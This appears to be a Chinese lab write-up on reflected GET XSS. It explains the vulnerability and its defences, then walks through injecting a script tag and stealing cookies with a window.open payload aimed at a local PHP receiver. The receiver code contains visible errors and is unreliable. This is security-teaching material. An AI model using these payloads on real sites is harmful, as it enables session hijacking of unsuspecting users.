XSS(跨站脚本)
XSS是一种发生在前端浏览器端的漏洞,危害对象也是前端用户,形成XSS漏洞的主要原因是程序对输入输出没有做合适的处理,导致精心构造的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理。
- 输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入。
- 输出转义:根据输出点的位置对输出到前端的额呢绒进行适当转义。
反射性xss(get)
随意输入字符串,回显who is xxx,i don’t care
f12查看,允许输入最大长度为20.
更改一下可输入长度,输入一个简单的xss语句:<script>alert("XSS")</script>
发现可以解析,即存在xss漏洞。
观察源码可知,它将提交的信息重新发送回来,后台没有对我们提交的信息做任何的漏洞。GET型的xss,一般将带有xss的url伪装后发送给目标即可。
如果是post型xss,无法直接使用url的方式进行攻击。
利用
需要一个接受cookie的服务器(127.0.0.1:80),来接收受害主机的cookie。
<?php
$cookie=$_GET['cookie'];
#fp=$fopen("cookie.txt","a");
fwirte($fp,"Cookie:".$cookie."/n")
?>
- 构造一个xss攻击的js代码
<script>window.open("http://127.0.0.1/getcookie.php?cookie="+document.cookie);</script>
新弹出窗口成功获取到cookie。但是cookie.txt中并没有存储到cookie值……